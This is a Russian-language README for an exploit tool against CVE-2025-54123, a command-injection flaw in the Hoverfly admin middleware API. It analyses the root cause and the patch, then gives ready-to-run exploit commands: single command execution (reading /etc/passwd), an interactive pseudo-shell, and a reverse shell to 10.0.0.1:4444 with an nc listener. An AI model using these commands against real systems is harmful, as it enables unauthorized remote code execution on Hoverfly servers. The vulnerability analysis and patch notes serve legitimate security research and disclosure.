CVE-2025-54123 — Удаленное выполнение кода через Middleware API в Hoverfly

Аутентифицированное RCE через внедрение команд ОС в Hoverfly ≤ 1.11.3

Обзор уязвимости

Технический анализ

Вот глубокий анализ кейса и технический анализ с точки зрения белого и черного ящиков https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a

Поверхность атаки

Hoverfly предоставляет RESTful admin API (порт по умолчанию 8888) для управления конфигурациями симуляции. Конечная точка управления промежуточным ПО по адресу /api/v2/hoverfly/middleware принимает JSON-тело с полями binary и script, которые определяют внешний процесс промежуточного ПО.

Корневая причина

Уязвимость возникает из-за комбинации трех ошибок на уровне кода:

1. Недостаточная проверка ввода — middleware.go:93-96: Функция SetBinary() принимает параметр binary без какой-либо проверки или санитизации, что позволяет злоумышленнику указать произвольные исполняемые файлы (например, bash).

2. Небезопасное выполнение команд — local_middleware.go:14-19: Промежуточное ПО выполняется через exec.Command() с передачей контролируемых злоумышленником значений binary и script напрямую в качестве аргументов, что позволяет внедрять команды ОС.

3. Немедленное выполнение при тестировании — hoverfly_service.go:173: При установке промежуточного ПО через API Hoverfly сразу же тестирует его, выполняя его, что вызывает внедренную команду на этапе конфигурации, а не во время перехвата прокси.

Схема атаки

Attacker                              Hoverfly (≤ 1.11.3)
   │                                        │
   │─── POST /api/token-auth ──────────────>│  (1) Authenticate
   │<── { "token": "eyJ..." } ─────────────│
   │                                        │
   │─── PUT /api/v2/hoverfly/middleware ───>│  (2) Inject payload
   │    { "binary": "bash",                 │
   │      "script": "<malicious cmd>" }     │
   │                                        │
   │    ┌──────────────────────────────────┐│
   │    │ exec.Command("bash", tmpScript)  ││  (3) Immediate execution
   │    │ → attacker command runs as       ││
   │    │   the Hoverfly process user      ││
   │    └──────────────────────────────────┘│
   │                                        │
   │<── Command output in error response ──│  (4) Exfiltrate output
   │                                        │

Использование эксплойта

Предварительные требования

• Python 3.8+
• Действительные учетные данные для admin API Hoverfly (по умолчанию: admin / настраиваемый пароль)

Установка

git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt

Режимы работы

Режим только проверки

Проверьте доступность цели и аутентификацию без эксплуатации:

python3 exploit.py -u http://target:8888 -U admin -P <password> -C

Выполнение одной команды

Выполните одну команду ОС на цели:

python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'

Интерактивная псевдо-оболочка

Войдите в постоянную сессию оболочки:

python3 exploit.py -u http://target:8888 -U admin -P <password> -i

Обратная оболочка

Отправьте обратную оболочку на ваш слушатель:

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — launch exploit
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444

Подробный режим с прокси

Направьте трафик через Burp Suite для инспекции:

python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v

Полный справочник флагов

Устранение уязвимости

Детали патча

Исправление в коммите 17e60a9 отключает API установки промежуточного ПО по умолчанию. Последующие изменения в документации (коммит a9d4da7) информируют пользователей о последствиях безопасности предоставления доступа к этой конечной точке.

Ссылки

• NVD — CVE-2025-54123
• Уведомление безопасности GitHub — GHSA-r4h8-hfp2-ggmf
• Уязвимый код — hoverfly_service.go#L173
• Уязвимый код — middleware.go#L93
• Уязвимый код — local_middleware.go#L13
• Коммит исправления — 17e60a9

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных исследовательских целей. Несанкционированный доступ к компьютерным системам является незаконным в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичными законами по всему миру. Автор не несет ответственности за неправильное использование данного программного обеспечения. Всегда получайте явное письменное разрешение перед тестированием любой системы, которая вам не принадлежит.

Структура проекта

CVE-2025-54123/
├── Exploit/
│   ├── exploit.py          # Отшлифованный эксплойт
│   └── raw_exploit.py      # Исходный черновой PoC
├── Images/                 # Скриншоты исследования
├── Reference/              # Справочные эксплойты для изучения
├── requirements.txt        # Зависимости Python
└── README.md               # Этот файл

Автор

Phantom Hat — Исследователь безопасности

Это исследование было проведено в рамках кейс-стади уязвимости в образовательных целях.